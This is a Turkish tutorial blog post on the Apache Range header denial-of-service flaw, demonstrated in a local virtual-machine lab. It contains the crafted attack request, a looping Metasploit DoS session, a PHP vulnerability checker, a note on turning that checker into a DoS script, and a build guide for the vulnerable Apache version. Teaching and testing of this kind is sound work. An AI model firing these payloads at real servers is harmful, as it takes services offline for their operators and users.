SGE Blog Yayınları

Apache Range Saldırıları ile Apache Sunucuları Servis Dışı Bırakma

Apache Range Saldırıları ile Apache Sunucuları Servis Dışı Bırakma

yazan Hasan Fatih Şimşek -
Number of replies: 0

a. Apache Range Saldırısı Nedir

Apache Range Attack, diğer adıyla Apache Killer Attack apache sunucu yazılımlarındaki zafiyetten yararlanarak sunucuların bellek ve CPU kullanımını tüketmek üzerine kurulu bir servis dışı bırakma saldırısıdır. Bu saldırı apache 2.0.x - 2.0.64 ve 2.2.x - 2.2.19 arası sürümlerde uygulanabilmektedir. Apache 2.2.20’den itibaren bu açık kapatılmıştır. Apache yola artık bu yamalarla beraber 2.4.x serisi sürümlerde devam etmektedir.

Apache eski sürümlerde bu zafiyetin nedeni kullanıcıların yaptıkları http talep paketlerindeki range başlıklarının apache yazılımı tarafınca uygulanışındaki bir bug’dan dolayıdır. Zafiyetin temel nedeni ise http talebi range başlığının http spesifikasyonundaki tanımından dolayıdır.

Http range başlıkları hedef sunucudaki bir kaynağın sadece bir parçasını talep etmek için kullanılır. Fakat istemcinin hedef sunucudaki kaynağı parça parça (külçe külçe) talep edebiliyor oluşu bir suistimali doğurur. Http taleplerinde range başlığı normalde şu şekilde bir yapıda kullanılır:

Range: bytes=512-1023

Bu başlık sunucuya kaynağın 512nci byte’tından başlayan ve 1023ncü byte’tında biten parçasını gönder der. Range başlığı ile birden fazla aralık da verilebilir. Örn;

Range: bytes=512-1023,1024-2047

Bu başlık sunucuya kaynağın belirtilen iki aralıktaki parçasını gönder der. Ancak aşağıdaki gibi bir yapıda range başlığını kullanmak hedef web sunucuya zarar vermeye dönük bir kullanıma yaklaşmak olacaktır:

Range: bytes=0-,5-0,5-1,...,5-6,5-7,5-8,5-9,5-10,...

Bu örnek şu an için esasında oldukça zararsızdır, fakat zarar vermeye dönük range başlığı kullanımını anlamada uygun durumdadır. Başlıktaki değerleri açıklayacak olursak range başlığı önce 0- ile tüm dökümanı (tamamını) talep eder, sonra mantıksız bazı aralıklarla (5-0,5-1,…) parçalar talep eder, sonra daha önceden bütün halde zaten talep ettiği içeriği aynı talebin devam aralıklarında bu sefer ufak ufak parçalar halinde talep eder. Yani 0- ile tüm döküman, 5-0 ile belirtilen aralık, 5-1 ile aynı şekilde belirtilen aralık,…, 5-7,5-8,5-9,5-10 ile ufak ufak büyüyen aralıklarda parçalar talep edilir. Sunucu talebi aldığında her parça için yanıt oluşturacaktır. Yani bir talebe karşılık birden fazla yanıt oluşturacaktır. Sunucu her oluşturacağı yanıt paketine parçaları hazırlamak için istenen kaynağı diskinden RAM’ine kopyalar halinde açacaktır. Bu şekilde kopyalar halinde yapıyor olmasının nedeni bir kaynağın üzerinde birden fazla işlemi aynı anda yapamayacağındandır. O nedenle kaynak kopyalar halinde RAM’de açılır, her kopya üzerinde aralık değerine göre parça alınır ve gönderilecek http yanıt paketlerine konulur. Gönderilecek http yanıt paketlerine ayrıca Content-Range başlığı (parçanın normalde hangi ful pakete ait olduğu bilgisi (yani ait olduğu full paketin size bilgisi)) ilavesi veya paket multipart bir içerikteyse multipart/byteranges değerini tutacak Content-type başlığı ilavesi yapılır ve yanıt paketleri gönderilir.

Görüldüğü üzere http range başlığı ile yapılan talep sunucuda birebir yanıt dönme yerine birden fazla yanıt dönmeye sebep olmaktadır. Eğer http range başlığına girilecek aralık değerlerinin adeti ve aralık genişlik miktarı arttırılırsa sunucunun o kadar çok donanımsal kaynağının (ram ve cpu’sunun) tükenmesine yol açacaktır. Çünkü range başlığındaki herbir aralık sunucuda talep edilen kaynağın ayrı ayrı kopyalar halinde açılmasına, parçaların çıkarılmasına, ve ayrı ayrı oluşturulacak yanıt paketlerinin hazırlanmasına neden olmaktadır. Eğer bu talepten çok sayıda gönderim yapılırsa bu apache’nin tüm mevcut belleğini tüketebilir ve ram tamamen tükenirse swapping ile disk üzerindeki kaynaklarda alan tahsisi yaparak sanal ram süreci başlayabilir. Eğer diskte de alan tükenmeye başlarsa sistem (Windows veya Linux) process’leri kill komutuyla sonlandırarak kendine yer açmaya çalışabilir. Böylesi bir senaryoda sistem process’leri kill ederek sunucunun servis vermeye devam etmesine çabalayacaktır ama aynı paketlerden gönderim devam ederse (onlarca / yüzlerce) bir noktadan sonra sistem tıkanacaktır ve DoS sonucuna ulaşmış olacaktır.

Range başlığının zararlı kullanım şeklini anlamak adına aşağıdaki örneğe bakılacak olursa

Range: bytes=0-,5-0,5-1,...,5-6,5-7,5-8,5-9,5-10,...

yapılan talepteki range başlık değerlerinin anlamlı değerlerde olmadığı açıktır (yani önce tamamını isteme, sonra ters büyüklükte aralıklarla parçalar aynı dökümandan isteme, sonra tamamını istemişken bir de parça parça aynı dökümanı isteme değerlerinin anlamlı olmadığı açıktır) ve normalde olması gereken karşı tarafta bu anlamsız aralıklardaki parça talebinin geçersiz sayılıp yanıtın talepte istenilen şekliyle dönmemesidir. Fakat range başlığının bu şekilde kullanımı http spesifikasyonuna göre legal durumdadır. Http spesifikasyonu range başlığı için herhangi bir kısıt koymamıştır. Bu nedenle talep işleme sokulup yanıtlar üretilmekte olduğundan sunucuların servis dışı kalmasına giden yol açıktır.

Bu saldırı http talebindeki range başlığının ufak ufak büyüyen ve uzayıp giden aralıklarda parçalar istenmesi sonucu hedef apache sunucunun bir talebe karşı birden fazla yanıt üretmesiyle kaynaklarının katlanarak tükenmesi üzerine kurulu bir saldırıdır. Bu, klasik bir “amplification” dos saldırısıdır. Çünkü ufak taleplerle karşıda devasa yük oluşturma vardır. Bir açıdan bakılacak olursa normal (zararsız) http talepleri de amplification dos saldırısına dönüşebilirler. Örneğin birkaç byte’lık bir http talebi ve karşılığında megabyte’larda bir PDF döküman yanıtı gibi. Ama apache range saldırısı bir talebe karşılık karşıda dilediğimiz sayıda yanıt oluşturma imkanı tanıdığından daha etkilidir.

Aşağıda bir apache range saldırı paketinin nasıl olduğuna dair örnek gösterilmiştir.

Http Request: ( Saldırı Paketi )

HEAD / HTTP/1.1
Host: 127.0.0.1
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,……uzun-diye-yazılmadı……,5-1297,5-1298,5-1299,5-1300
Accept-Encoding: gzip
Connection: close

Pakette yer alan


Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,…..(böyle devam ediyor)…...5-1299,5-1300

range başlığı 0- ile tüm dökümanı (tamamını), 5-0 ile 0ncı byte ve 5nci byte arasını, 5-1 ile 1nci byte ve 5nci byte arasını, … , 5-5 ile 5nci byte ve 5nci byte arasını (yani 5nci byte’ı), 5-6 ile 5nci byte ve 6ncı byte arasını, 5-7 ile 5nci byte ve 7nci byte arasını, … , 5-1299 ile 5nci byte ve 1299ncu byte arasını, 5-1300 ile 5nci byte ve 1300ncü byte arasını talep eder. Saldırgan bu http talebini range başlığındaki ufak ufak büyüyen aralıklarla bu şekilde (yani başlangıç hane 5 sabit ve sonlanma hanesi giderek artan değerlerde) gönderdiğinde hedef sunucunun karşılık olarak döneceği http yanıt paketlerinin adetini ve büyüklük değerini arttırmaktadır. Bu talepten çok sayıda gönderim yapıldığında hedef sunucu ram ve cpu tüketimi sürekli artaracaktır ve nihayetinde ram tükendiğinde disk’ten swapping ile sanal ram çözümü devreye alınacaktır. Disk’te alan bittiğinde ise sistem tıkanacaktır ve servis dışı kalacaktır.

Bir makaledeki nota göre saldırıyı bu paket ile bir sunucu üzerinde gerçekleştiren kimse 10 saniye içerisinde hedef sunucunun 1GB RAM’ini tüketmekteymiş.

“When some one execute this attack on a server, it will eat up 1 GB RAM in 10 seconds, and CPU load will hit 10 average load, finally server will freeze.”

- https://www.hackersgarage.com/apache-killer-denial-of-service-flaw-in-apache-webserver.html

- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-mitigation-of-apache-range-header-dos-attack/

b. Uygulama

Materyaller

Msfconsole - Kali 2018.1 // Saldırgan Sistem

Apache 2.2.19 - Ubuntu Server 14.04 LTS // Hedef Web Sunucu

Kali sanal makinasından bir metasploit modülü ile ubuntu 14.04 Server LTS sanal makinasındaki zafiyet içeren apache web sunucuya apache range (diğer adıyla; apache killer) saldırısı düzenlenecektir ve apache sunucunun servis dışı kalıp kalmadığı test edilecektir. Sol yanda saldırgan makina Kali’den web sunucuya erişilebilir olduğu, sağ yanda ise web sunucu makinesinin kendisi gösterilmektedir.

apacherange1

Saldırgan makina Kali’den metasploit modülü apache_range_dos ile apache web sunucuya range attack yapalım ve Kali’de halen tarayıcıda hedef web sunucuyu görüntüleyebilmekte miyiz test edelim.

Kali 2018.1 Terminal:

> service postgresql start
> msfconsole
msf > use auxiliary/dos/http/apache_range_dos
msf auxiliary(apache_range_dos) > show actions
Auxiliary actions:
Name Description
-------- -----------
CHECK
DOS
msf auxiliary(apache_range_dos) > set ACTION DOS
msf auxiliary(apache_range_dos) > show options
...options...
msf auxiliary(apache_range_dos) > set RHOSTS 192.168.0.21 // Web Sunucu IP
msf auxiliary(apache_range_dos) > set URI /apache_welcome.jpg // Web sunucudaki statik bir
// kaynak (*gerekli)
msf auxiliary(apache_range_dos) > resource /root/Desktop/looping.rc

Run komutu ile modülü çalıştırma yerine defaatle çalıştır yapabilmek için metasploit resource dosyası özelliğinden yararlandık. Böylece dos saldırısı daha güçlü yapılabilecektir (not: Saldırı tekrarlı run ile yapılmadığında yeterince güçlü dos olmadığından olsa gerek başarılı olmamakta, fakat looping.rc ile run komutu tekrarlı yapıldığında saldırı başarılı olmakta).

/root/Desktop/looping.rc:

<ruby>
Link: https://github.com/actuated/msf-exploit-loop/blob/master/exploit-loop.rc
begin
(1..100).each do |i|
run_single("echo 'Attacking attempt: \##{i}'")
run_single("exploit -j")
run_single("sleep 5s")
end
end
</ruby>

Saldırı başladığında ekrana modül çıktıları yansır.

apacherange2

Bir süre sonra gönderilen saldırı paketleri hedef web sunucunun kaynaklarını doldurmaya başladığından hedef web sunucuda sistem, sunucunun servis verebilirliğini sürdürmesi için process’leri kill etmeye ve sunucu konsoluna kill çıktıları düşmeye başlar.

apacherange3

( Solda Kali ve Sağda Apache Web Sunucu )

Bir süre sonra ise gönderilen saldırı paketlerine (range header’lı talep paketlerine) karşılık yanıt alınamadığından modül çıktı olarak hedef IP’ye bağlanılamadı bilgisi düşmeye başlar.

apacherange4

( Solda Kali ve Sağda Apache Web Sunucu )

Kali sanal makinasından tarayıcıda hedef web uygulamasını görüntülemeyi denediğimizde uygulamaya erişilemediği ve sürekli yükleniyor ifadesinin ekranda yer aldığı görülecektir:

apacherange5

( Solda Kali ve Sağda Apache Web Sunucu )

Test amaçlı ana makinadaki tarayıcıdan da erişim denendiğinde uygulamaya erişim sağlanamadığı görülecektir:

apacherange6

( Ana Makina Tarayıcısı Web Sunucuya Erişememekte )

Saldırı sonlandırıldığında uygulamaya erişimin tekrar sağlandığı görülecektir:

apacherange7

( Kali Makinası )

Böylelikle apache range saldırısı ile hedef bir apache sunucuya dos saldırısı başarılı olacaktır ve uygulamaya erişim duracaktır. Saldırı sonlandığında ise uygulamaya erişim tekrar sağlanabilecektir.

c. Ekstra

Hedef bir apache web sunucunun apache_range zafiyetine sahip olup olmadığını aşağıdaki php script ile test edebiliriz.

<?php
function check_range_vuln($host,$port=80,$timeout=10){
$range = '0-';
for($i=0;$i<20;$i++){
$range .= ",5-$i";
}
$error_code = null;
$error = null;
$socket = fsockopen($host,$port,$error_code,$error,$timeout);
$packet = "HEAD / HTTP/1.1\r\nHost: $host\r\nRange:bytes=$range\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
fwrite($socket,$packet);
$result = fread($socket,2048);
//check to see if "Partial" is in the response
if(strstr($result,"Partial") !== false){
return "Target is vulnerable";
}
return "Target is not vulnerable";
}
echo check_range_vuln("192.168.0.21",80,10);
?>

Bu script şu http talep paketini bir tane olarak karşıya göndermektedir:

Http Request: ( Saldırı Paketi )

HEAD / HTTP/1.1
Host: 192.168.0.25
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19
Accept-Encoding: gzip
Connection: close

Bu talebe karşılık yanıt 206 Partial status code’luysa hedef web sunucu zafiyetli demektir. Çünkü range başlığı anlamsız değerlerdeyken (yani önce dökümanın tamamını isteme, sonra ters büyüklükte aralıklarla parçalar aynı dökümandan isteme, sonra tamamını istemişken bir de parça parça aynı dökümanı isteme halindeyken) sunucu bu talebi geçerli sayıp yanıt olarak parçaları göndermiş demektir. 206 Partial yanıt bilgisi ancak sunucu parça dönerken kullandığı bir durumdur ve parça dönüş yanıtı başarılı anlamına gelir. Eğer sunucu zafiyete sahip olmasaydı yanıt bilgisi olarak ya 416 Range is not Satisfiable bilgi dönüşü yapardı ve hiçbir içerik dönüşü yapmazdı ya da 200 OK bilgi dönüşü yapardı ve dökümanın tamamını bir yanıt pakette dönerdi.

Eğer bu php script’inde gönderilen pakete karşılık gelen yanıt paketinin içeriğine bakmak istersek echo komutu ile ilgili yanıt paket içeriğini ekrana basabiliriz:

<?php
function check_range_vuln($host,$port=80,$timeout=10){
$range = '0-';
for($i=0;$i<20;$i++){
$range .= ",5-$i";
}
$error_code = null;
$error = null;
$socket = fsockopen($host,$port,$error_code,$error,$timeout);
$packet = "HEAD / HTTP/1.1\r\nHost: $host\r\nRange:bytes=$range\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
fwrite($socket,$packet);
$result = fread($socket,2048);
//check to see if "Partial" is in the response
if(strstr($result,"Partial") !== false){
echo $result . "<br><br>";
return "Target is vulnerable";
}
echo $result . "<br><br>";
return "Target is not vulnerable";
}
echo check_range_vuln("192.168.0.21",80,10);
?>

Bu php script’i bu haliyle zafiyetli apache web sunucuya (Apache 2.2.19 - Ubuntu Server 14.04 sanal makinasına) doğru çalıştırıldığında dönen http yanıtı ekrana gelecektir:

apacherange8

( Açıklık Testi Php Script’i ile Hedef Apache Sunucuyu Test Etme )

Görüldüğü üzere yanıt paket içeriğinde 206 Partial bilgisi gelmiştir ve script kodu ile “Target is vulnerable” notu ekrana basılmıştır. Dolayısıyla sunucunun mantıksız (geçersiz) parça taleplerine 206 Partial ile olumlu cevap verdiği görülmüştür. Yani sunucu zafiyetlidir.

Bu php script’i yine bu haldeyken bu sefer zafiyete sahip olmayan apache web sunucuya (ana makinadaki 2.4.x sürümündeki apache sunucuya) doğru çalıştırıldığında dönen http yanıt ekrana gelecektir:

apacherange9

( Açıklık Testi Php Script’i ile Diğer Apache Sunucuyu Test Etme )

Görüldüğü üzere yanıt paket içeriğinde 200 OK bilgisi gelmiştir ve script kodu ile “Target is not vulnerable” notu ekrana basılmıştır. Dolayısıyla sunucunun mantıksız (geçersiz) parça taleplerine 200 OK ile parça cevabı vermediği ve bunun yerine dökümanın tamamını yanıt olarak döndüğü görülmüştür. Yani sunucu zafiyete sahip değildir.

Not:

Bu php script’teki for döngüsünde yer alan limit değerini 20’den 1300’e çıkarırsak ve oluşan bu paketi sonsuz döngüde sürekli gönder dersek bir dos saldırısı script’i hazırlamış oluruz. Örneğin apache range saldırısı yapan apachekiller.pl script’i bahsedilen limit değerine sahip içerikteki paketi defaatle gönderme işini yapmaktadır.

killapache.pl script’inin gönderdiği talep paketi:

( Tek Satır Olarak Oku )

HEAD
/ HTTP/1.1Host: 127.0.0.1Range:
bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5-157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5-171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-180,5-181,5-182,5-183,5-184,5-185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-195,5-196,5-197,5-198,5-199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-210,5-211,5-212,5-213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-225,5-226,5-227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-240,5-241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254,5-255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5-269,5-270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5-283,5-284,5-285,5-286,5-287,5-288,5-289,5-290,5-291,5-292,5-293,5-294,5-295,5-296,5-297,5-298,5-299,5-300,5-301,--CUT--1016,5-1017,5-1018,5-1019,5-1020,5-1021,5-1022,5-1023,5-1024,5-1025,5-1026,5-1027,5-1028,5-1029,5-1030,5-1031,5-1032,5-1033,5-1034,5-1035,5-1036,5-1037,5-1038,5-1039,5-1040,5-1041,5-1042,5-1043,5-1044,5-1045,5-1046,5-1047,5-1048,5-1049,5-1050,5-1051,5-1052,5-1053,5-1054,5-1055,5-1056,5-1057,5-1058,5-1059,5-1060,5-1061,5-1062,5-1063,5-1064,5-1065,5-1066,5-1067,5-1068,5-1069,5-1070,5-1071,5-1072,5-1073,5-1074,5-1075,5-1076,5-1077,5-1078,5-1079,5-1080,5-1081,5-1082,5-1083,5-1084,5-1085,5-1086,5-1087,5-1088,5-1089,5-1090,5-1091,5-1092,5-1093,5-1094,5-1095,5-1096,5-1097,5-1098,5-1099,5-1100,5-1101,5-1102,5-1103,5-1104,5-1105,5-1106,5-1107,5-1108,5-1109,5-1110,5-1111,5-1112,5-1113,5-1114,5-1115,5-1116,5-1117,5-1118,5-1119,5-1120,5-1121,5-1122,5-1123,5-1124,5-1125,5-1126,5-1127,5-1128,5-1129,5-1130,5-1131,5-1132,5-1133,5-1134,5-1135,5-1136,5-1137,5-1138,5-1139,5-1140,5-1141,5-1142,5-1143,5-1144,5-1145,5-1146,5-1147,5-1148,5-1149,5-1150,5-1151,5-1152,5-1153,5-1154,5-1155,5-1156,5-1157,5-1158,5-1159,5-1160,5-1161,5-1162,5-1163,5-1164,5-1165,5-1166,5-1167,5-1168,5-1169,5-1170,5-1171,5-1172,5-1173,5-1174,5-1175,5-1176,5-1177,5-1178,5-1179,5-1180,5-1181,5-1182,5-1183,5-1184,5-1185,5-1186,5-1187,5-1188,5-1189,5-1190,5-1191,5-1192,5-1193,5-1194,5-1195,5-1196,5-1197,5-1198,5-1199,5-1200,5-1201,5-1202,5-1203,5-1204,5-1205,5-1206,5-1207,5-1208,5-1209,5-1210,5-1211,5-1212,5-1213,5-1214,5-1215,5-1216,5-1217,5-1218,5-1219,5-1220,5-1221,5-1222,5-1223,5-1224,5-1225,5-1226,5-1227,5-1228,5-1229,5-1230,5-1231,5-1232,5-1233,5-1234,5-1235,5-1236,5-1237,5-1238,5-1239,5-1240,5-1241,5-1242,5-1243,5-1244,5-1245,5-1246,5-1247,5-1248,5-1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299Accept-Encoding:
gzipConnection: close


EK Belge: Apache 2.2.19 (ve  PHP, Mysql'in) Ubuntu 14.04 LTS Üzerine Kurulumu

Başlıklar;

1. Derleyerek Apache 2.2.19 Kurma

2. Derleyerek PHP 5.3.8 Kurma

3. Mysql Kurma

1. Derleyerek Apache 2.2.19 Kurma

Ubuntu 14.04 Server LTS

// Gereksinimler
--------------------------
> sudo su
> apt-get install gcc
> apt-get install make
--------------------------
// İndirmeler
--------------------------

   *httpd-2.2.19.tar.gz ve 
   *php-5.3.8.tar.gz 
)
https://archive.apache.org/dist/httpd/
https://osdn.net/frs/g_redir.php?m=kent&f=mapn%2Fsource%2Fphp%2Fphp-5.3.8.tar.gz
--------------------------
// Derleme ve Kurulum
--------------------------
> cd httpd-2.2.19/                          
> ./configure
> make
> make install
--------------------------
// Kurulumları Test Etme
--------------------------
> /usr/local/apache2/bin/apachectl -v
Server version: Apache/2.2.19 (linux)
Server built: September 12 2019 17:59:10
--------------------------
// Apache Servisini Başlatma ve Durdurma
--------------------------
> /usr/local/apache2/bin/apachectl start
> /usr/local/apache2/bin/apachectl stop
--------------------------
// Apache Web Dizini Yolu
-------------------------
> cd /usr/local/apache2/htdocs
-------------------------
(seçime bağlı)
// Apache Konfigurasyon Dosyası Yolu
-------------------------
> nano /usr/local/apache2/conf/httpd.conf
-------------------------
(seçime bağlı)
// Apache Servisini Sistem Başlarken Otomatik Başlatılmaya Ayarlama
--------------------------
# a. Apache Servisini Sistem Servisi Olarak Kaydetme
#
# Apache ile gelen apachectl servisini linux
# sistem servisi olarak kaydedelim. Bu sayede 
#    > service servisIsmi ...start...stop...
# yapısı ile apache servisini kullanabilelim.
#
# Not: Apache servisini kolaylık olsun diye  
# apache2 ismiyle sistem servisine kaydediyoruz. 
> cp /usr/local/apache2/bin/apachectl /etc/init.d/apache2    
# b. Sistem Servislerindeki Apache'yi Çalıştırılabilir Yapma

# Linux sistem servisi olarka kaydolan apache servisi 
# dosyası çalıştırılabilir yapılır. Böylece 
#    > service servisIsmi ...start...stop...
# yaparken izin hatası dolayısıyla çalıştırılamama 
# ihtimali önlenir.
> chmod +x /etc/init.d/apache2
# c. Sistem Servislerindeki Apache Dosya İçeriğine Eklemeler Yapma
#
# (i)  sed komutu stream bir editor aracı. Pipeline 
# ile gelen / giden içerikleri düzenlemeye ve belirtilen 
# hedefe çıktılamaya yarayan araç. sed editorü ile yapıla
# cak düzenleme varsayılan olarak stdout'a çıktılanır. -i 
# parametresi kullanıldığında ise yapılan düzenleme yerinde 
# (--in-place) yapılır, yani argumandaki dosya kaynağının 
# üzerinde yapılır. 
#
# (ii) sed komutu script kısmına 2i konarak argumandaki str
# ing'i belirtilen dosyanın 2nci satırından evvel ekle denmiş 
# olur.
#
# sonuç:
# Aşağıdaki kodlama ile /etc/init.d/apache2 dosyasının 2nci 
# satırından önce argumanda belirtilen string eklenir.
#  
# Not: apache2 dosyasının birinci satırında #!bin/sh vardır 
# ve argumanda belirtilen string bu satırdan sonra eklenecektir. 
# apache2 dosyasının devamında ise apache servisinin orijinal 
# servis içeriği yer almaya kaydırılmış halde devam edecektir.
> sed -i '2i #\n### BEGIN INIT INFO\n# Provides:             apache2\n# Required-Start:       $remote_fs\n# Required-Stop:        $remote_fs\n# Default-Start:        2 3 4 5\n# Default-Stop:         0 1 6\n# Description:          apache2\n# Short-Description:    The Apache webserver\n### END INIT INFO' /etc/init.d/apache2
# d. Sistem Servislerindeki Apache Startup Servis Olarak Kaydolunur 
#
# Not: Sistem başlangıcında çalıştırılan servisler normalde 
# /etc/rcX.d/ dizinlerinde yer alır. Elle dosyaları çeşitli 
# sayılarda rc1,2,3,... klasörlerine kopyalayıp servisi startup 
# servis yapmak yerine update-rc.d binary'si ile bu dizinlerde 
# high level bir şekilde güncelleme yapılabilmektedir. rc'lerin 
# çeşit çeşit sayıdaki klasörleri runtime level'larını (örn; ça
# lıştırılma sıralarını) ifade eder. 
> /usr/sbin/update-rc.d apache2 defaults
--------------------------
(seçime bağlı)
Apache'yi Güvenli Kılma
-------------------------
service apache2 stop
adduser --system apache
sed -i -e 's/User daemon/User apache/g' /usr/local/apache2/conf/httpd.conf
sed -i -e 's/Group daemon/Group nogroup/g' /usr/local/apache2/conf/httpd.conf
service apache2 start
-------------------------


2. Derleyerek PHP 5.3.8 Kurma

Gereksinimler
-------------------------
apt-get install libxml2-dev
apt-get install zlib1g-dev
apt-get install libpng-dev
-------------------------
Kurulum
-------------------------
> /usr/local/apache2/bin/apachectl stop
[UNZIP]
> tar zxvf php-5.3.8.tar.gz
> cd php-5.3.8/
[PATCH]       ( Derleme sırasında hata geldiğinden yama gerekli )
> curl -o php-5.3.8.patch https://mail.gnome.org/archives/xml/2012-August/txtbgxGXAvz4N.txt
> cd php-5.3.8/               
> patch -p0 -b < ../php-5.3.8.patch
patching file ext/dom/node.c
patching file ext/dom/documenttype.c
patching file ext/simplexml/simplexml.c
[KUR]
> ./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql --enable-bcmath --enable-ftp --enable-magic-quotes --with-pear --enable-sockets --with-zlib --with-gd
> make
> make install
> cp php.ini-production /usr/local/lib/php.ini
-------------------------
// Kurulumu Test Et
--------------------------
> php -v
PHP 5.3.8 (cli) (built: Sep 12 2019 17:57:46)
Copyright (c) 1997-2011 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies
--------------------------
// Apache Sunucuya PHP Modülünü Gösterme
--------------------------
> nano /usr/local/apache2/conf/mime.types
...
application/x-httpd-php php phtml php4      (( En sona bu satır eklenir ))
--------------------------
// Test Sayfası
--------------------------
> cd /usr/local/apache2/htdocs
> nano info.php
<?php
echo phpinfo();
?>
> /usr/local/apache2/bin/apachectl start
--------------------------


3. MYSQL Kurulumu

> apt-get install mysql-server


Kaynaklar

https://lwn.net/Articles/456723/

https://www.rapid7.com/db/modules/auxiliary/dos/http/apache_range_dos

http://apache-range-exploit.com/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-mitigation-of-apache-range-header-dos-attack/

https://www.hackersgarage.com/apache-killer-denial-of-service-flaw-in-apache-webserver.html

http://apache-range-exploit.com/

https://www.freesoft.org/CIE/RFC/2068/225.htm

https://stackoverflow.com/questions/19290033/http-byte-ranges-and-multipart-byteranges-alternatives

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Range

https://archive.apache.org/dist/httpd/

https://www.fir3net.com/UNIX/Linux/how-to-compile-apache-22.html

http://accel-archives-en.intra-mart.jp/2013-spring/document/Documents/iap/setup/iap_setup_guide/texts/install/linux/apache_linux.html

https://askubuntu.com/questions/574266/install-apache-2-2-22-on-ubuntu-14-04

https://www.gnu.org/software/sed/manual/html_node/Other-Commands.html

https://www.gnu.org/software/sed/manual/sed.html

https://www.jamescoyle.net/cheat-sheets/791-update-rc-d-cheat-sheet

https://www.debuntu.org/how-to-managing-services-with-update-rc-d/

https://www.bilgiustam.com/init-d-nediru-ne-ise-yarar/

https://www.ndchost.com/wiki/apache/install-apache-php-on-centos

http://www.mickgenie.com/howto-install-apache-2-2-x-and-php-5-3-x-on-centos-5/

https://stackoverflow.com/questions/19904083/how-to-fix-error-with-xml2-config-not-found-when-installing-php-from-sources

https://stackoverflow.com/questions/25053647/i-have-already-installed-libpng-but-there-is-an-error-png-h-file-not-found

https://stackoverflow.com/questions/45300553/configure-error-cannot-find-libz

https://www.litespeedtech.com/support/forum/threads/solved-compile-php-5-2.6887/

https://mail.gnome.org/archives/xml/2012-August/txtbgxGXAvz4N.txt

https://www.ndchost.com/wiki/apache/install-apache-php-on-centos

2805 kelime